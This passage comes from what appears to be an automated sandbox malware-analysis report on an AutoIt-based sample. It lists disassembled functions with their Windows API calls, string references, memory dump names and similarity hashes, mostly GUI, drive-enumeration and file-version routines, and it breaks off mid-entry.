DeleteDC.GDI32(00000000), ref: 008776C8
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 008776F4
SendMessageW.USER32(00000030,00000000,00000001), ref: 0087770B
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00877746
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 0087775A
SendMessageW.USER32(00000404,00000001,00000000), ref: 0087776B
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 0087779B
GetStockObject.GDI32(00000011), ref: 008777A6
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 008777B1
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 008777BB

Strings

static, xrefs: 0087767D, 00877795
AutoIt v3, xrefs: 0087762B
msctls_progress32, xrefs: 0087773C
DISPLAY, xrefs: 00877688

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 08f3de814ca7759a8be00d2ce9c678a5312137157488b51599775048d9008419
Instruction ID: 1b79e9e970e6cc94fceeaa5e585a4d6460b6d533b12ed1752aee751f0882213c
Opcode Fuzzy Hash: 08f3de814ca7759a8be00d2ce9c678a5312137157488b51599775048d9008419
Instruction Fuzzy Hash: 38A12DB1A40615BFEB14DBA8DC4AFAA7BB9FB08710F108114FA15E72E1D774AD40CB64

Function 0086AD10 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0086AD1E
GetDriveTypeW.KERNEL32(?,0088FAC0,?,\\.\,0088F910), ref: 0086ADFB
SetErrorMode.KERNEL32(00000000,0088FAC0,?,\\.\,0088F910), ref: 0086AF59

Strings

SSA, xrefs: 0086AEE2
Virtual, xrefs: 0086AF21
\\.\, xrefs: 0086AD70
SAS, xrefs: 0086AF05
PhysicalDrive, xrefs: 0086ADA7
RAID, xrefs: 0086AEF7
iSCSI, xrefs: 0086AEFE
FileBackedVirtual, xrefs: 0086AF28
Removable, xrefs: 0086AE4D
1394, xrefs: 0086AEDB
USB, xrefs: 0086AEF0
SATA, xrefs: 0086AF0C
SSD, xrefs: 0086AE86
Network, xrefs: 0086AE39
ATAPI, xrefs: 0086AECD
SCSI, xrefs: 0086AEC6
Fixed, xrefs: 0086AE43
CDROM, xrefs: 0086AE2F
MMC, xrefs: 0086AF1A
RAMDisk, xrefs: 0086AE25
ATA, xrefs: 0086AED4
Unknown, xrefs: 0086AE1B, 0086AEBF
Fibre, xrefs: 0086AEE9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: c34bcd0186e9975f30275cdbe855b15c64c16fa7d039c854c9af926fac5eee1c
Instruction ID: e12d67b6730968604b07f91ab927668be16ed016a2ca2935f0feff3142ee1bf6
Opcode Fuzzy Hash: c34bcd0186e9975f30275cdbe855b15c64c16fa7d039c854c9af926fac5eee1c
Instruction Fuzzy Hash: 78517BB0648209EACB08EB64D993CBDB7A8FF08714B228066E416F7391DE359D01DF53

Function 00889A1C Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00889AD2
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00889B8B
SendMessageW.USER32(?,00001102,00000002,?), ref: 00889BA7

Strings

S, xrefs: 00889A6B, 00889EB2, 00889F00
0, xrefs: 00889BE4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$Window
String ID: S$0
API String ID: 2326795674-770256432
Opcode ID: 2b8a5154e4cdc4062013824ba9241b4cfe15d6d940d991c718f499f9b9babe51
Instruction ID: 68c1e9fbe155008b80dccfb0a92e753c3403312334f38d6bef118953b642449d
Opcode Fuzzy Hash: 2b8a5154e4cdc4062013824ba9241b4cfe15d6d940d991c718f499f9b9babe51
Instruction Fuzzy Hash: 5302BF30104201AFE729EF18C849BBABBE5FF49314F08462DFAD9D62A1D775D944CB52

Function 008068DC Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00806931
__wcsnicmp.LIBCMT ref: 00806949
__wcsnicmp.LIBCMT ref: 00806961
__wcsnicmp.LIBCMT ref: 00806979
__wcsnicmp.LIBCMT ref: 00806991
__wcsnicmp.LIBCMT ref: 008069A9
__wcsnicmp.LIBCMT ref: 008069C1
__wcsnicmp.LIBCMT ref: 008069D5
__wcsnicmp.LIBCMT ref: 00806A16
__wcsnicmp.LIBCMT ref: 00806A2A
__wcsnicmp.LIBCMT ref: 00806A3E
__wcsnicmp.LIBCMT ref: 00806A52

Strings

Bad directive syntax error, xrefs: 0083E31A
#include-once, xrefs: 0080698B
#comments-end, xrefs: 00806A38
#comments-start, xrefs: 008069BB, 00806A10
#pragma compile, xrefs: 0080692B
#requireadmin, xrefs: 0080695B
Cannot parse #include, xrefs: 0083E3F0
#ce, xrefs: 00806A4C
#OnAutoItStartRegister, xrefs: 00806973
Unterminated group of comments, xrefs: 0083E403
#notrayicon, xrefs: 00806943
#include, xrefs: 008069A3
#cs, xrefs: 008069CF, 00806A24

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-86951937
Opcode ID: 2b166298d1f8c7cde4f35c2452aa160c9325e31b01ae55599d99e11d809a9fd8
Instruction ID: a9f3f7470e10c0b110cd8f97c0571ae89c535ff20eaf2dc565222809edc5a015
Opcode Fuzzy Hash: 2b166298d1f8c7cde4f35c2452aa160c9325e31b01ae55599d99e11d809a9fd8
Instruction Fuzzy Hash: 228104B0700219AEDF60BA64EC52FAB3768FF15710F040024FD05EA2D6FB64DA65C6A2

Function 008889D5 Relevance: 40.7, APIs: 21, Strings: 2, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00888AC1
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00888AD2
CharNextW.USER32(0000014E), ref: 00888B01
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00888B42
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00888B58
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00888B69
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00888B86
SetWindowTextW.USER32(?,0000014E), ref: 00888BD8
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00888BEE
SendMessageW.USER32(?,00001002,00000000,?), ref: 00888C1F
_memset.LIBCMT ref: 00888C44
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00888C8D
_memset.LIBCMT ref: 00888CEC
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00888D16
SendMessageW.USER32(?,00001074,?,00000001), ref: 00888D6E
SendMessageW.USER32(?,0000133D,?,?), ref: 00888E1B
InvalidateRect.USER32(?,00000000,00000001), ref: 00888E3D
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00888E87
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00888EB4
DrawMenuBar.USER32(?), ref: 00888EC3
SetWindowTextW.USER32(?,0000014E), ref: 00888EEB

Strings

S, xrefs: 00888A23
0, xrefs: 00888E55

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: S$0
API String ID: 1073566785-770256432
Opcode ID: ed56dbbc89f20a1b00f0370c4b8ca810e8ff6b3f7cced8438666d3789d8c9eac
Instruction ID: 92de10854ed4734378ecca118249076f64553348cbcd70c3b31be8cfdd00b29d
Opcode Fuzzy Hash: ed56dbbc89f20a1b00f0370c4b8ca810e8ff6b3f7cced8438666d3789d8c9eac
Instruction Fuzzy Hash: 47E14C74900218EADB20EF54CC84EEE7BB9FF05720F50815AFA15EA291DB749980DF61

Function 0088A8CA Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 0088A903
SetTextColor.GDI32(?,?), ref: 0088A907
GetSysColorBrush.USER32(0000000F), ref: 0088A91D
GetSysColor.USER32(0000000F), ref: 0088A928
CreateSolidBrush.GDI32(?), ref: 0088A92D
GetSysColor.USER32(00000011), ref: 0088A945
CreatePen.GDI32(00000000,00000001,00743C00), ref: 0088A953
SelectObject.GDI32(?,00000000), ref: 0088A964
SetBkColor.GDI32(?,00000000), ref: 0088A96D
SelectObject.GDI32(?,?), ref: 0088A97A
InflateRect.USER32(?,000000FF,000000FF), ref: 0088A999
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 0088A9B0
GetWindowLongW.USER32(00000000,000000F0), ref: 0088A9C5
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 0088A9ED
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 0088AA14
InflateRect.USER32(?,000000FD,000000FD), ref: 0088AA32
DrawFocusRect.USER32(?,?), ref: 0088AA3D
GetSysColor.USER32(00000011), ref: 0088AA4B
SetTextColor.GDI32(?,00000000), ref: 0088AA53
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 0088AA67
SelectObject.GDI32(?,0088A5FA), ref: 0088AA7E
DeleteObject.GDI32(?), ref: 0088AA89
SelectObject.GDI32(?,?), ref: 0088AA8F
DeleteObject.GDI32(?), ref: 0088AA94
SetTextColor.GDI32(?,?), ref: 0088AA9A
SetBkColor.GDI32(?,?), ref: 0088AAA4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: fa548eeb02b22a5ff23711ae61f58dda3d8da77ac4c7850977b6bb497cc11087
Instruction ID: 69e9e9da768e8a1410f049a82d1915d89fa2293f5bdb211c0177e05359d08ba3
Opcode Fuzzy Hash: fa548eeb02b22a5ff23711ae61f58dda3d8da77ac4c7850977b6bb497cc11087
Instruction Fuzzy Hash: 6E512E75901218EFDB119FA8DC48EAE7B79FF08320F114626FA11EB2A2D7759940DF50

Function 0088488F Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 008849CA
GetDesktopWindow.USER32 ref: 008849DF
GetWindowRect.USER32(00000000), ref: 008849E6
GetWindowLongW.USER32(?,000000F0), ref: 00884A48
DestroyWindow.USER32(?), ref: 00884A74
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00884A9D
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00884ABB
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00884AE1
SendMessageW.USER32(?,00000421,?,?), ref: 00884AF6
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00884B09
IsWindowVisible.USER32(?), ref: 00884B29
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00884B44
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00884B58
GetWindowRect.USER32(?,?), ref: 00884B70
MonitorFromPoint.USER32(?,?,00000002), ref: 00884B96
GetMonitorInfoW.USER32(00000000,?), ref: 00884BB0
CopyRect.USER32(?,?), ref: 00884BC7
SendMessageW.USER32(?,00000412,00000000), ref: 00884C32

Strings

tooltips_class32, xrefs: 00884A96
(, xrefs: 00884BA3
0, xrefs: 00884975

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: aa10892e476575e8d0287f2a3cdfef7a16e189d915e374387b61fe0e1188a134
Instruction ID: 6483b6cf7c3bebc3dc8c99327acda86cf556ee9d2a5ffefd030773312bcd0766
Opcode Fuzzy Hash: aa10892e476575e8d0287f2a3cdfef7a16e189d915e374387b61fe0e1188a134
Instruction Fuzzy Hash: 88B17B72604351AFDB44EF68C845B6ABBE4FF88314F008A1CF599DB2A2D771E805CB56

Function 0086449A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 008644AC
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 008644D2
_wcscpy.LIBCMT ref: 00864500
_wcscmp.LIBCMT ref: 0086450B
_wcscat.LIBCMT ref: 00864521
_wcsstr.LIBCMT ref: 0086452C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00864548
_wcscat.LIBCMT ref: 00864591
_wcscat.LIBCMT ref: 00864598
_wcsncpy.LIBCMT ref: 008645C3

Strings

04090000, xrefs: 0086457E
DefaultLangCodepage, xrefs: 008645AB
%u.%u.%u.%u, xrefs: 00864626
StringFileInfo\, xrefs: 0086451B
\VarFileInfo\Translation, xrefs: 00864540

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 1d4852078fbcdb87263af65aa17f67c9feafee836509df17cbb63b6600a7b58d
Instruction ID: 1e2636e551779627ba7d69f8f6ee9091ef460183acd70b83590449fd2274bd63
Opcode Fuzzy Hash: 1d4852078fbcdb87263af65aa17f67c9feafee836509df17cbb63b6600a7b58d
Instruction Fuzzy Hash: 7E41F9715002247BE715BA78DC47EBF776CFF52710F000066FA05E6283EA74998197A6

Function 008027D9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008028BC
GetSystemMetrics.USER32(00000007), ref: 008028C4
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 008028EF
GetSystemMetrics.USER32(00000008), ref: 008028F7
GetSystemMetrics.USER32(00000004), ref: 0080291C
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00802939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00802949
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 0080297C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00802990
GetClientRect.USER32(00000000,000000FF), ref: 008029AE
GetStockObject.GDI32(00000011), ref: 008029CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 008029D5

Part of subcall function 00802344: GetCursorPos.USER32(?), ref: 00802357
Part of subcall function 00802344: ScreenToClient.USER32(008C57B0,?), ref: 00802374
Part of subcall function 00802344: GetAsyncKeyState.USER32(00000001), ref: 00802399
Part of subcall function 00802344: GetAsyncKeyState.USER32(00000002), ref: 008023A7

SetTimer.USER32(00000000,00000000,00000028,00801256), ref: 008029FC

Strings

AutoIt v3 GUI, xrefs: 00802974

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 5c469b995e6b926ee60d9923bd0a9c917afdb9aff3a52f9b70b2d0f1890e4d95
Instruction ID: d08672f8948900efd2ba076a23b9a39050514dc9c53a7e60640e02e74ff54de7
Opcode Fuzzy Hash: 5c469b995e6b926ee60d9923bd0a9c917afdb9aff3a52f9b70b2d0f1890e4d95
Instruction Fuzzy Hash: 5BB14A75A0060AEFDB54DFA8DC49BAE7BB4FB48314F104229FA15E62E0DB74A850CB50

Function 0085A439 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0085A47A
__swprintf.LIBCMT ref: 0085A51B
_wcscmp.LIBCMT ref: 0085A52E
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0085A583
_wcscmp.LIBCMT ref: 0085A5BF
GetClassNameW.USER32(?,?,00000400), ref: 0085A5F6
GetDlgCtrlID.USER32(?), ref: 0085A648
GetWindowRect.USER32(?,?), ref: 0085A67E
GetParent.USER32(?), ref: 0085A69C
ScreenToClient.USER32(00000000), ref: 0085A6A3
GetClassNameW.USER32(?,?,00000100), ref: 0085A71D
_wcscmp.LIBCMT ref: 0085A731
GetWindowTextW.USER32(?,?,00000400), ref: 0085A757
_wcscmp.LIBCMT ref: 0085A76B

Part of subcall function 0082362C: _iswctype.LIBCMT ref: 00823634

Strings

%s%u, xrefs: 0085A515

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 20079e1f4b3a7bce0919074153f6165103092f178cbedf099976d8a916e83511
Instruction ID: 5f59669db69890bfcb92bea9f6d9fb15813f8ae852bb8feb68a4d4efe0ddc1a6
Opcode Fuzzy Hash: 20079e1f4b3a7bce0919074153f6165103092f178cbedf099976d8a916e83511
Instruction Fuzzy Hash: BBA1D371204206AFDB18DF64C8C4FAAB7E8FF58316F044629FD99D2191DB30E959CB92

Function 0085AED4 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0085AF18
_wcscmp.LIBCMT ref: 0085AF29
GetWindowTextW.USER32(00000001,?,00000400), ref: 0085AF51
CharUpperBuffW.USER32(?,00000000), ref: 0085AF6E
_wcscmp.LIBCMT ref: 0085AF8C
_wcsstr.LIBCMT ref: 0085AF9D
GetClassNameW.USER32(00000018,?,00000400), ref: 0085AFD5
_wcscmp.LIBCMT ref: 0085AFE5
GetWindowTextW.USER32(00000002,?,00000400), ref: 0085B00C
GetClassNameW.USER32(00000018,?,00000400), ref: 0085B055
_wcscmp.LIBCMT ref: 0085B065
GetClassNameW.USER32(00000010,?,00000400), ref: 0085B08D
GetWindowRect.USER32(00000004,?), ref: 0085B0F6

Strings

@, xrefs: 0085AEF9
ThumbnailClass, xrefs: 0085AFE0, 0085B060

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 681fff8a3f569fc35a79ec4d7a67aac6a1c6e508cd83789c268edaeef43eb469
Instruction ID: 762efbc9185265b5467c7ecaa93f36708dca4435f189af600eedc02ab1d8605d
Opcode Fuzzy Hash: 681fff8a3f569fc35a79ec4d7a67aac6a1c6e508cd83789c268edaeef43eb469
Instruction Fuzzy Hash: 0F81AF711082099FDB05DF14C891BAA7BE8FF64316F14856AFD85CA092DB34DD8DCBA2

Function 0088A1B9 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0088A259
DestroyWindow.USER32(?,?), ref: 0088A2D3

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0088A34D
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0088A36F
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0088A382
DestroyWindow.USER32(00000000), ref: 0088A3A4
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00800000,00000000), ref: 0088A3DB
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0088A3F4
GetDesktopWindow.USER32 ref: 0088A40D
GetWindowRect.USER32(00000000), ref: 0088A414
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0088A42C
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0088A444

Part of subcall function 008025DB: GetWindowLongW.USER32(?,000000EB), ref: 008025EC

Strings

0, xrefs: 0088A26F
S, xrefs: 0088A1F4, 0088A2B7, 0088A2D9, 0088A2EC
tooltips_class32, xrefs: 0088A346, 0088A3D4

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

